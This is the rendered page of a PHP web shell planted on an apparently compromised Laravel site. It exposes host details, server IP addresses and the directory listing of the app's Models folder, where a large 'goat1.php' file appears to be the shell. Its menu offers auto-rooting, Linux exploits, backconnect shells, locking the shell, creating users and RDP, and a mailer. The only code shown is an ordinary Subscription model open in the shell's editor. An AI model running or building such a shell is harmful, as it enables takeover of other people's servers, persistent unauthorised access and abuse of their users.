Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.20
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo2.com /
app /
Models /
[ HOME SHELL ]
Name
Size
Permission
Action
.htaccess
127
B
-r--r--r--
Brand.php
1.93
KB
-rw-r--r--
Currency.php
1.75
KB
-rw-r--r--
Enquiry.php
2.34
KB
-rw-r--r--
Event.php
5.5
KB
-rw-r--r--
EventGoogleCalendar.php
1.8
KB
-rw-r--r--
EventSchedule.php
4.94
KB
-rw-r--r--
Faq.php
1.47
KB
-rw-r--r--
FrontCMSSetting.php
1.57
KB
-rw-r--r--
FrontTestimonial.php
2.85
KB
-rw-r--r--
GoogleCalendarIntegration.php
1.71
KB
-rw-r--r--
GoogleCalendarList.php
1.79
KB
-rw-r--r--
MainReason.php
1.99
KB
-rw-r--r--
PersonalExperience.php
1.3
KB
-rw-r--r--
PlanFeature.php
1.43
KB
-rw-r--r--
Schedule.php
2.38
KB
-rw-r--r--
Service.php
2.93
KB
-rw-r--r--
Setting.php
1.27
KB
-rw-r--r--
Subscribe.php
1.49
KB
-rw-r--r--
Subscription.php
3.13
KB
-rw-r--r--
SubscriptionPlan.php
3.42
KB
-rw-r--r--
Transaction.php
2.02
KB
-rw-r--r--
User.php
16.75
KB
-rw-r--r--
UserGoogleEventSchedule.php
2
KB
-rw-r--r--
UserSchedule.php
3.96
KB
-rw-r--r--
UserSetting.php
1.41
KB
-rw-r--r--
UserTransaction.php
4.1
KB
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Subscription.php
<?php namespace App\Models; use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Relations\BelongsTo; use Illuminate\Database\Eloquent\Relations\HasOne; use Illuminate\Support\Carbon; /** * Class Subscription * * @property int $id * @property int $user_id * @property string $name * @property int|null $subscription_plan_id * @property string|null $start_date * @property string|null $end_date * @property string|null $status * @property Carbon|null $created_at * @property Carbon|null $updated_at * @property-read SubscriptionPlan|null $SubscriptionPlan * * @method static Builder|Subscription newModelQuery() * @method static Builder|Subscription newQuery() * @method static Builder|Subscription query() * @method static Builder|Subscription whereCreatedAt($value) * @method static Builder|Subscription whereCurrentEndDate($value) * @method static Builder|Subscription whereCurrentStartDate($value) * @method static Builder|Subscription whereId($value) * @method static Builder|Subscription whereName($value) * @method static Builder|Subscription whereSubscriptionPlanId($value) * @method static Builder|Subscription whereUserId($value) */ class Subscription extends Model { use HasFactory; /** * @var string */ protected $table = 'subscriptions'; const ACTIVE = 1; const INACTIVE = 0; const TYPE_FREE = 0; const TYPE_STRIPE = 1; const TYPE_PAYPAL = 2; const MANUALLY = 3; const PAYMENT_TYPES = [ self::TYPE_FREE => 'Free Plan', self::TYPE_STRIPE => 'Stripe', self::TYPE_PAYPAL => 'PayPal', self::MANUALLY => 'Manually', ]; const STATUS_ARR = [ self::ACTIVE => 'Active', self::INACTIVE => 'Deactive', ]; const MONTH = 'Month'; const YEAR = 'Year'; /** * @var string[] */ protected $fillable = [ 'user_id', 'subscription_plan_id', 'transaction_id', 'plan_amount', 'plan_frequency', 'starts_at', 'ends_at', 'trial_ends_at', 'status', ]; /** * @var string[] */ protected $casts = [ 'user_id' => 'integer', 'subscription_plan_id' => 'integer', 'transaction_id' => 'integer', 'starts_at' => 'datetime', 'ends_at' => 'datetime', 'trial_ends_at' => 'datetime', 'status' => 'boolean', ]; public function subscriptionPlan(): BelongsTo { return $this->belongsTo(SubscriptionPlan::class, 'subscription_plan_id'); } public function user(): BelongsTo { return $this->belongsTo(User::class, 'user_id'); } public function transactions(): HasOne { return $this->hasOne(Transaction::class, 'id', 'transaction_id'); } public function isExpired(): bool { $now = Carbon::now(); // this means the subscription is ended. if ((! empty($this->trial_ends_at) && $this->trial_ends_at < $now) || $this->ends_at < $now) { return true; } // this means the subscription is not ended. return false; } }
Close